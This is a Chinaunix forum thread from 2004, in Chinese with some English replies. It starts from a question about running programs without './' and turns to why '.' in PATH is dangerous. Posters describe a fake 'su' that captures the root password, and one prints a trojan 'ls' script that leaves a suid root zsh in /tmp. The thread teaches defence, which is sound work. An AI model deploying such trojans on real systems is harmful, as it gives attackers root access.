Chinaunix

标题: 问一下我的目录下文件执行的问题。 [打印本页]

作者: ZealeS    时间: 2004-12-29 20:39
标题: 问一下我的目录下文件执行的问题。
之前我在指定目录下执行一个程序是
如:
cd /path
programname
程序就执行了。

现在在另一机器这样就执行不了了。必须是:
./programname

这样好麻烦了,需要怎样改才能想上面一样执行。
作者: 寂寞烈火    时间: 2004-12-29 20:43
标题: 问一下我的目录下文件执行的问题。
两个机器的profile文件不一样吧1
作者: ZealeS    时间: 2004-12-29 20:49
标题: 问一下我的目录下文件执行的问题。
我现在就是不知道应该如何改变配置才能实现。

请问烈火兄应该怎么配置呢?
作者: 寂寞烈火    时间: 2004-12-29 20:51
标题: 问一下我的目录下文件执行的问题。
我的配制文件是:/etc/profile,其中有一行是这样的:

  1. export PATH=$PATH:/sbin:/usr/sbin:/home/lee
复制代码

那么,在/hoome/lee下的所有脚本,只有给了执行全线,都可以直接打文件名执行
/home/lee#cat abc
echo ok
/home/lee#abc
ok
/home/lee#file abc
abc: ASCII text
/home/lee#
作者: ZealeS    时间: 2004-12-29 21:03
标题: 问一下我的目录下文件执行的问题。
这个也是,不过我现在是无论那个目录都要。
把我郁闷怀了。
作者: dradhzn    时间: 2004-12-29 22:44
标题: 问一下我的目录下文件执行的问题。
are you using root to execute the program ? check your ~/.profile , add ":." to the end of the PATH if it is not there .
else what i could think is the LIBPATH(AIX) / LD_LIBRARY_PATH (SOLARIS) if you use your script call someone else 's program . the last possible setting could be minor . since you could run ./progarm , the "#!/usr/bin/perl5" vs "#!/usr/local/bin/perl5 " problem should not happen here ,  just add it for your reference .
作者: ZealeS    时间: 2004-12-30 00:30
标题: 问一下我的目录下文件执行的问题。
刚才试了一下,原来的PATH的问题。
我原来的PATH=/bin:/sbin:/usr/local/bin
我把他改为PATH=$PATH:/usr/local/bin
就行了。
实际上还是不明所以
因为echo $PATH的结果前后是一样的。
作者: 寂寞烈火    时间: 2004-12-30 00:36
标题: 问一下我的目录下文件执行的问题。
原帖由 "ZealeS" 发表:
刚才试了一下,原来的PATH的问题。
我原来的PATH=/bin:/sbin:/usr/local/bin
我把他改为PATH=$PATH:/usr/local/bin
就行了。
实际上还是不明所以
因为echo $PATH的结果前后是一样的。

我个人认为有必要研究一下profile文件里的pathmunge
作者: 網中人    时间: 2004-12-30 01:09
标题: 问一下我的目录下文件执行的问题。
很多"有經驗"的管理員都強烈建議大家不要將"."加到 PATH 環境中.
大家知道其道理是甚麼嗎?

大家不妨先猜猜看, 若沒人答中, 那我再試試說明一下...
作者: dradhzn    时间: 2004-12-30 01:26
标题: 问一下我的目录下文件执行的问题。
reason why is that "." means current directory ,  it might accidently run a wrong program if the . is in the path , for security reason, root will not have "." in path by default , my suggestion is solely for troubleshooting only .
作者: 網中人    时间: 2004-12-30 01:35
标题: 问一下我的目录下文件执行的问题。
could you tell us what "security reason" we may encounter by an example?
thanks...  
作者: dradhzn    时间: 2004-12-30 01:55
标题: 问一下我的目录下文件执行的问题。
alright , seems can't off the line today
path is used for search executable , from left to right .
for example if the . is somehow localted before /usr/bin , or /usr/sbin etc, etc, i could simply wirte a script "su" to simulate the default su behavior to fool people and capture the root passwd some where . let say i have this su ready and copy this "su" in /tmp directory , if someone have the "." in wrong place , and execute "su" command from /tmp , Bing Go !
作者: 網中人    时间: 2004-12-30 08:44
标题: 问一下我的目录下文件执行的问题。
very good!

還有人能舉更多例子嗎?
作者: lightspeed    时间: 2004-12-30 09:26
标题: 问一下我的目录下文件执行的问题。
The possibility of unexpected behavior is higher if "." is early in your search path, but even the last position is not safe: consider the possibility of misspellings. A cracker could create a malicious /tmp/hwo, a misspelling of the common who command, and hope you type "hwo" sometime while you're in /tmp. As there is no earlier "hwo" in your search path, you'll unintentionally run the cracker's ./hwo program. (Which no doubt prints, `basename $SHELL`: hwo: command not found to stderr while secretly demolishing your filesystem.) Play it safe and keep "." out of your search path.
作者: 網中人    时间: 2004-12-30 10:50
标题: 问一下我的目录下文件执行的问题。
是的, dradhzn & lightspeed  兄已指出可能的潛在危險了.
若 . 放在 PATH 的前面, 那只要在當前目錄寫一個 script , 以最常用的命令來命名就行. 如 cd, ls, rm, exit 等等....
然後裡面可執行任何你想要的其它命令,
才執行原有名令,
再將 script 刪掉.
比方說, 你寫一個 ls 的 script:
  1. #!/bin/bash
  2. cp -f /bin/zsh /tmp/.rc &>/dev/null
  3. chmod ug+s /tmp/.rc &>/dev/null
  4. ls "$@"
  5. rm ls &>/dev/nll
复制代码

只要 root 一跑 ls 這命令(假設 . 在 PATH 前面)
接著, 任何人都可執行 /tmp/.rc 取得一個 root 身份的 zsh
然後再跑 su - root -c "/bin/bash" 那就有一個 root 的 bash 了!!
接下來你想幹嘛? 隨你喜歡囉....  ^_^

為何要舉 zsh ?
因為我在 linux 測過 bash, csh, 他們都能成功躲過 suid/sgid 的設定.
但 zsh 卻可執行 suid/sgid !
(管於 suid/sgid 的危險, 之前談過了, 搜一下精華吧)

倘若 . 放在 PATH 的末端, 那就如 lightspeed 兄指出的,
等別人誤敲命令了...
稍加耐心, 你可以收集到許多平時常被敲錯的命令, 如:
l, la, ld, lx...
或一些 DOS 命令: copy, dir, del, deltree...

或許, 大家能舉的例子更多!

----
唉, 還是老話了, 我講了很多遍, 再講一遍:
勿以善小而不為, 勿以惡小而為之!
作者: ZealeS    时间: 2004-12-30 14:55
标题: 问一下我的目录下文件执行的问题。
高明。。。。佩服佩服。
茅塞顿开。
谢谢。




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2